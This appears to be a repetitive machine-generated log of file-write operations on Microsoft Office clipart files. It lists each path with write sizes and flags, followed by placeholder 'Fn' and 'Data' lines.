Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN00853_.WMF size = 1 True 2
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN00853_.WMF size = 20613 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN00853_.WMF size = 4 True 3
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN00853_.WMF size = 188 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN00853_.WMF size = 1268 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN00914_.WMF size = 1 True 2
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN00914_.WMF size = 10869 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN00914_.WMF size = 4 True 3
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN00914_.WMF size = 188 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN00914_.WMF size = 1268 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN00932_.WMF size = 1 True 2
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN00932_.WMF size = 14453 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN00932_.WMF size = 4 True 3
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN00932_.WMF size = 188 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN00932_.WMF size = 1268 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN00965_.WMF size = 1 True 2
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN00965_.WMF size = 7109 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN00965_.WMF size = 4 True 3
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN00965_.WMF size = 188 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN00965_.WMF size = 1268 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN01039_.WMF size = 1 True 2
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN01039_.WMF size = 3381 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN01039_.WMF size = 4 True 3
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN01039_.WMF size = 188 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN01039_.WMF size = 1268 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN01044_.WMF size = 1 True 2
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN01044_.WMF size = 1621 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN01044_.WMF size = 4 True 3
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN01044_.WMF size = 188 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN01044_.WMF size = 1268 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN01060_.WMF size = 1 True 2
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN01060_.WMF size = 8005 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN01060_.WMF size = 4 True 3
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN01060_.WMF size = 188 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN01060_.WMF size = 1268 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN01084_.WMF size = 1 True 2
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN01084_.WMF size = 1861 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN01084_.WMF size = 4 True 3
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN01084_.WMF size = 188 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN01084_.WMF size = 1268 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN01173_.WMF size = 1 True 2
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN01173_.WMF size = 26357 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN01173_.WMF size = 4 True 3
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN01173_.WMF size = 188 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN01173_.WMF size = 1268 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN01174_.WMF size = 1 True 2
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN01174_.WMF size = 27893 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN01174_.WMF size = 4 True 3
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN01174_.WMF size = 188 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN01174_.WMF size = 1268 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN01184_.WMF size = 1 True 2
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN01184_.WMF size = 3781 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN01184_.WMF size = 4 True 3
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN01184_.WMF size = 188 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN01184_.WMF size = 1268 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN01216_.WMF size = 1 True 2
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN01216_.WMF size = 5861 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN01216_.WMF size = 4 True 3
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN01216_.WMF size = 188 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN01216_.WMF size = 1268 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN01218_.WMF size = 1 True 2
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN01218_.WMF size = 3045 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN01218_.WMF size = 4 True 3
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN01218_.WMF size = 188 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN01218_.WMF size = 1268 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN01251_.WMF size = 1 True 2
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN01251_.WMF size = 2789 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN01251_.WMF size = 4 True 3
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN01251_.WMF size = 188 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN01251_.WMF size = 1268 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN01545_.WMF size = 1 True 2
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN01545_.WMF size = 7397 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN01545_.WMF size = 4 True 3
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN01545_.WMF size = 188 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN01545_.WMF size = 1268 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN02122_.WMF size = 1 True 2
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN02122_.WMF size = 7573 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN02122_.WMF size = 4 True 3
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN02122_.WMF size = 188 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN02122_.WMF size = 1268 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN02559_.WMF size = 1 True 2
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN02559_.WMF size = 6661 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN02559_.WMF size = 4 True 3
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN02559_.WMF size = 188 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN02559_.WMF size = 1268 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN02724_.WMF size = 1 True 2
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN02724_.WMF size = 2133 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN02724_.WMF size = 4 True 3
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN02724_.WMF size = 188 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN02724_.WMF size = 1268 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN03500_.WMF size = 1 True 2
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN03500_.WMF size = 9269 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN03500_.WMF size = 4 True 3
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN03500_.WMF size = 188 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN03500_.WMF size = 1268 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN04108_.WMF size = 1 True 2
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN04108_.WMF size = 2373 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN04108_.WMF size = 4 True 3
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN04108_.WMF size = 188 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN04108_.WMF size = 1268 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN04117_.WMF size = 1 True 2
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN04117_.WMF size = 6085 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN04117_.WMF size = 4 True 3
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN04117_.WMF size = 188 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN04117_.WMF size = 1268 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN04134_.WMF size = 1 True 2
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN04134_.WMF size = 3445 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN04134_.WMF size = 4 True 3
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN04134_.WMF size = 188 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN04134_.WMF size = 1268 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN04174_.WMF size = 1 True 2
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN04174_.WMF size = 2661 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN04174_.WMF size = 4 True 3
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN04174_.WMF size = 188 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN04174_.WMF size = 1268 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN04191_.WMF size = 1 True 2
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN04191_.WMF size = 6661 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN04191_.WMF size = 4 True 3
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN04191_.WMF size = 188 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN04191_.WMF size = 1268 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN04195_.WMF size = 1 True 2
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN04195_.WMF size = 4645 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN04195_.WMF size = 4 True 3
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN04195_.WMF size = 188 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN04195_.WMF size = 1268 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN04196_.WMF size = 1 True 2
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN04196_.WMF size = 3173 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN04196_.WMF size = 4 True 3
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN04196_.WMF size = 188 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN04196_.WMF size = 1268 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN04206_.WMF size = 1 True 2
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN04206_.WMF size = 7701 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN04206_.WMF size = 4 True 3
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN04206_.WMF size = 188 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN04206_.WMF size = 1268 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN04225_.WMF size = 1 True 2
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN04225_.WMF size = 8517 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN04225_.WMF size = 4 True 3
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN04225_.WMF size = 188 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN04225_.WMF size = 1268 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN04235_.WMF size = 1 True 2
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN04235_.WMF size = 7829 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN04235_.WMF size = 4 True 3
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN04235_.WMF size = 188 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN04235_.WMF size = 1268 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN04267_.WMF size = 1 True 2
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN04267_.WMF size = 7829 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN04267_.WMF size = 4 True 3
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN04267_.WMF size = 188 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN04267_.WMF size = 1268 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN04269_.WMF size = 1 True 2
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN04269_.WMF size = 2053 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN04269_.WMF size = 4 True 3
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN04269_.WMF size = 188 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN04269_.WMF size = 1268 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN04323_.WMF size = 1 True 2
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN04323_.WMF size = 2517 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN04323_.WMF size = 4 True 3
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN04323_.WMF size = 188 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN04323_.WMF size = 1268 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN04326_.WMF size = 1 True 2
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN04326_.WMF size = 3381 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN04326_.WMF size = 4 True 3
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN04326_.WMF size = 188 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN04326_.WMF size = 1268 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN04332_.WMF size = 1 True 2
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN04332_.WMF size = 4325 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN04332_.WMF size = 4 True 3
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN04332_.WMF size = 188 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN04332_.WMF size = 1268 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN04355_.WMF size = 1 True 2
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN04355_.WMF size = 3253 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN04355_.WMF size = 4 True 3
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN04355_.WMF size = 188 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN04355_.WMF size = 1268 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN04369_.WMF size = 1 True 2
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN04369_.WMF size = 4837 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN04369_.WMF size = 4 True 3
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN04369_.WMF size = 188 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN04369_.WMF size = 1268 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN04384_.WMF size = 1 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN04384_.WMF size = 4 True 3
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN04384_.WMF size = 188 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN04384_.WMF size = 1268 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN04385_.WMF size = 1 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN04385_.WMF size = 4 True 3
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN04385_.WMF size = 188 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN04385_.WMF size = 1268 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BABY_01.MID size = 1 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BABY_01.MID size = 4 True 3
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BABY_01.MID size = 188 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BABY_01.MID size = 1268 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BD00116_.WMF size = 1 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BD00116_.WMF size = 4 True 3
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BD00116_.WMF size = 188 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BD00116_.WMF size = 1268 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BD00141_.WMF size = 1 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BD00141_.WMF size = 4 True 3
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BD00141_.WMF size = 188 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BD00141_.WMF size = 1268 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BD00146_.WMF size = 1 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BD00146_.WMF size = 4 True 3
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BD00146_.WMF size = 188 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BD00146_.WMF size = 1268 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BD00155_.WMF size = 1 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BD00155_.WMF size = 4 True 3
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BD00155_.WMF size = 188 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BD00155_.WMF size = 1268 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BD00160_.WMF size = 1 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BD00160_.WMF size = 4 True 3
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BD00160_.WMF size = 188 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BD00160_.WMF size = 1268 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BD00173_.WMF size = 1 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BD00173_.WMF size = 4 True 3
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BD00173_.WMF size = 188 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BD00173_.WMF size = 1268 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BD05119_.WMF size = 1 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BD05119_.WMF size = 4 True 3
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BD05119_.WMF size = 188 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BD05119_.WMF size = 1268 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BD06102_.WMF size = 1 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BD06102_.WMF size = 4 True 3
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BD06102_.WMF size = 188 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BD06102_.WMF size = 1268 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BD06200_.WMF size = 1 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BD06200_.WMF size = 4 True 3
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BD06200_.WMF size = 188 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BD06200_.WMF size = 1268 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BD07761_.WMF size = 1 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BD07761_.WMF size = 4 True 3
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BD07761_.WMF size = 188 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BD07761_.WMF size = 1268 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BD07804_.WMF size = 1 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BD07804_.WMF size = 4 True 3
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BD07804_.WMF size = 188 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BD07804_.WMF size = 1268 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BD07831_.WMF size = 1 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BD07831_.WMF size = 4 True 3
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BD07831_.WMF size = 188 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BD07831_.WMF size = 1268 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BD08758_.WMF size = 1 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BD08758_.WMF size = 4 True 3
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BD08758_.WMF size = 188 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BD08758_.WMF size = 1268 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BD08773_.WMF size = 1 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BD08773_.WMF size = 4 True 3
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BD08773_.WMF size = 188 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BD08773_.WMF size = 1268 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BD08808_.WMF size = 1 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BD08808_.WMF size = 4 True 3
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BD08808_.WMF size = 188 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BD08808_.WMF size = 1268 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BD08868_.WMF size = 1 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BD08868_.WMF size = 4 True 3
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BD08868_.WMF size = 188 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BD08868_.WMF size = 1268 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BD09031_.WMF size = 1 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BD09031_.WMF size = 4 True 3
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BD09031_.WMF size = 188 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BD09031_.WMF size = 1268 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BD09194_.WMF size = 1 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BD09194_.WMF size = 4 True 3
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BD09194_.WMF size = 188 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BD09194_.WMF size = 1268 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BD09662_.WMF size = 1 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BD09662_.WMF size = 4 True 3
Fn
Data
